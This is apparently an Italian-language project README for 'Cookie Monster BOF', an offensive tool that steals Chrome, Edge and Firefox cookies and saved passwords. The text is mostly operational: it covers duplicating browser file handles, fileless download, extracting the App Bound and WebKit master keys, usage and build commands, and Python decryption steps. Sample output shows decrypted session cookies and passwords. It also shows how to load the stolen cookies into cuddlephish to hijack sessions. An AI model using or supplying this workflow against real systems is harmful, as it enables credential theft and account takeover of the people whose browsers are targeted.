Rubare i cookie del browser per edge, chrome e firefox tramite un BOF!

Cookie Monster BOF estrarrà la WebKit Master Key e la App Bound Encryption Key per Edge e Chrome, localizzerà un processo del browser con un handle ai file Cookies e Login Data, copierà l'handle e poi scaricherà i file target senza toccare il disco.

Una volta scaricati i file Cookies/Login Data, è possibile utilizzare lo script di decrittazione Python per estrarre i segreti! Il modulo Firefox analizzerà profiles.ini e troverà dove si trovano i file logins.json e key4.db e li scaricherà. Un repository GitHub separato è referenziato per la decrittazione offline.

Aggiornamenti Chrome & Edge 127+: i nuovi cookie del browser Chromium (v20) utilizzano la chiave associata all'app per crittografare i cookie. Di conseguenza, ciò rende il recupero di app_bound_encrypted_key leggermente più difficile. Grazie a snovvcrash questo processo può essere realizzato senza dover elevare i propri privilegi. Il problema è che il processo deve essere eseguito dalla directory dell'applicazione del browser web, ad esempio è necessario iniettare in Chrome/Edge o generare un beacon dalla stessa directory dell'applicazione del browser.

Decrittare i cookie come SYSTEM e senza dover iniettare nel processo del browser! Un ringraziamento a @sdemius per aver scoperto come decrittare la funzione PostProcessData di Chrome e a @b1scoito per la spiegazione! Chrome 137+ ha modificato nuovamente la funzione PostProcessData(), un ringraziamento a @runassu per averlo capito!

L'ultimo aggiornamento ha aggiunto la decrittazione della Webkit Master Key grazie a @M1ndo. La master key viene automaticamente decrittata insieme alla app bound key. Per utilizzarla, aggiungi la chiave allo script di decrittazione Python. Questa chiave viene utilizzata principalmente quando sono in uso profili roaming, password memorizzate in Edge o password più vecchie.

BOF Usage

Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"] 
cookie-monster Examples: 
   cookie-monster --chrome 
   cookie-monster --edge
   cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
   cookie-moster --firefox 
   cookie-monster --chromeCookiePID <PID>
   cookie-monster --chromeLoginDataPID <PID> 
   cookie-monster --edgeCookiePID <PID> 
   cookie-monster --edgeLoginDataPID <PID> 
cookie-monster Options: 
    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD 
    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD 
    --system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation 
    --firefox, looks for profiles.ini and locates the key4.db and logins.json file 
    --chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file   
    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file  
    --key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files. 
    --cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key. 
    --login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.  
    --copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.

Compile BOF

Assicurati che Mingw-w64 e make siano installati su Linux prima della compilazione.

make

Decryption Steps

Installa i requisiti

pip3 install -r requirements.txt

Utilizzo

python3 decrypt.py -h                                                                                                                                                                      
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]

Decrypt Chromium cookies and passwords given a key and DB file

options:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Decryption key
  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
                        Option to choose
  -f FILE, --file FILE  Location of the database file
  --chrome-aes-key CHROME_AES_KEY
                        Chrome AES Key
  -mk MASTER_KEY, --master-key MASTER_KEY
                        Old key used in v10 passwords

Esempi: Decrittare il file dei cookie di Chrome/Edge

python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

Decrittare i cookie di Chrome con Chrome AES Key

python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json

Decrittare il file dei cookie di Chrome/Edge e salvare in json

python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json

Importa il file JSON dei cookie con https://cookie-editor.com/

Decrittare il file delle password di Chrome/Edge

python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'

URL: https://test.com/
Username: adgf
Password: pass

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

Decrittare i cookie e le credenziali salvate di Firefox:
https://github.com/lclevy/firepwd

CuddlePhish Support

aggiunta dell'opzione cuddlephish allo script di decrittazione che dovrebbe supportare l'utilizzo del cookie con https://github.com/fkasler/cuddlephish

# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db

# Clone Project
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish

# Install Dependencies Example on Debian 
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install

# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json

References

Questo progetto non sarebbe stato possibile senza l'aiuto di Mr-Un1k0d3r e dei suoi fantastici video stagionali! Altamente consigliato dare un'occhiata alle sue lezioni!!!
Estrattore Webkit Master Key per Cookie: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
Download senza file: https://github.com/fortra/nanodump
Decrittazione di Cookie e Login Data: https://github.com/login-securite/DonPAPI
Decrittazione della App Bound Key: https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Decrittazione dei cookie di Chrome 137+: https://github.com/runassu/chrome_v20_decryption

cookie-monster

Più Popolari

Cookie-Monster-BOF

BOF Usage

Compile BOF

Decryption Steps

CuddlePhish Support

References